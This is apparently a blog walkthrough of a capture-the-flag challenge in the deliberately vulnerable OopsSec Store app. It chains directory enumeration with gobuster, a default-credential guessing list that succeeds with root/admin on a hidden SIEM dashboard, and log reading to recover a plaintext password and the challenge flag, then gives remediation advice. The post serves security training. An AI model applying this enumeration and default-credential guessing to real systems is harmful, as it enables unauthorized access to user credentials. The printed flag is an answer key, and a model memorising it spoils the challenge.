DEV Community

Cover image for Dumping Every User's Plaintext Password Without Touching the Database
Oopssec Store
Oopssec Store

Posted on Originally published at koadt.github.io on AI-assisted

Dumping Every User's Plaintext Password Without Touching the Database

#node #security #webdev #javascript

Exploiting a forgotten debug statement that logs plaintext passwords and a hidden SIEM dashboard with hardcoded credentials to retrieve a flag.

Someone left a debug log in the login route that dumps passwords in plaintext. Those logs end up on a hidden SIEM dashboard protected by default credentials. We'll find it, log in, and read everyone's passwords.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start
Enter fullscreen mode Exit fullscreen mode

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store
Enter fullscreen mode Exit fullscreen mode

The app runs at http://localhost:3000.

Reconnaissance

Login mechanism

There's a login form at /login. Submitting credentials sends a POST to /api/auth/login with a JSON body:

{
  "email": "alice@example.com",
  "password": "test"
}
Enter fullscreen mode Exit fullscreen mode

The response doesn't leak anything useful whether login succeeds or fails.

Directory enumeration

Run gobuster (or any directory brute-forcer) against the app:

gobuster dir -u http://localhost:3000 -w /usr/share/seclists/Discovery/Web-Content/common.txt
Enter fullscreen mode Exit fullscreen mode

/monitoring shows up, which is worth poking at. Enumerate one level deeper:

gobuster dir -u http://localhost:3000/monitoring -w /usr/share/seclists/Discovery/Web-Content/common.txt
Enter fullscreen mode Exit fullscreen mode

This turns up /monitoring/siem -- not linked anywhere in the app.

The SIEM dashboard

Hit http://localhost:3000/monitoring/siem and you get a login form titled "SIEM Console -- Internal Monitoring System."

Login Page SIEM

An internal log viewer sitting on a public port. Promising.

Bypassing SIEM authentication

Internal tool, hastily deployed -- default credentials are always worth a shot:

Username Password
admin admin
root admin
root root
admin password

root / admin gets us in.

Triggering the credential leak

The dashboard is empty until someone actually logs in. Fire off a login attempt on the main app:

curl -X POST http://localhost:3000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com","password":"iloveduck"}'
Enter fullscreen mode Exit fullscreen mode

Reading the logs

Back on the SIEM dashboard, the log table shows all captured log output. Search for [auth] or login attempt and you'll see something like:

[auth] login attempt email=alice@example.com password=iloveduck flag=OSS{pl41nt3xt_p4ssw0rd_1n_l0gs}
Enter fullscreen mode Exit fullscreen mode

The flag is OSS{pl41nt3xt_p4ssw0rd_1n_l0gs}.

Flag

Vulnerability chain

Four things had to go wrong for this to work:

  1. CWE-532 -- A logger.warn call in the login route dumps the email, password, and flag in the log message on every attempt.
  2. CWE-312 -- The structured logger writes these entries to logs/app.log in cleartext.
  3. CWE-200 -- The SIEM dashboard at /monitoring/siem is unlisted but easy to find with directory enumeration.
  4. CWE-798 -- The SIEM login uses default credentials (root:admin).

Remediation

Don't log request bodies or sensitive fields. Even with a structured logging library like Pino, use field redaction so passwords can't end up in output even if someone forgets.

Treat logs as sensitive data. Access controls, encryption at rest, retention policies -- if logs contain anything that could identify a user, they need the same care as a database.

Internal tools need real credentials. Default passwords on an internal dashboard are fine until the dashboard is reachable from the internet. Use a secrets manager or SSO; never ship root:admin.

Review log messages for sensitive data during code review. A structured logger doesn't prevent developers from embedding credentials in the message string itself.

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

OWASP VWAD TryHackMe room Intentionally Vulnerable
GitHub license PRs Welcome Good first issues
GitHub stars GitHub forks

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx
…
Enter fullscreen mode Exit fullscreen mode
View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Top comments (0)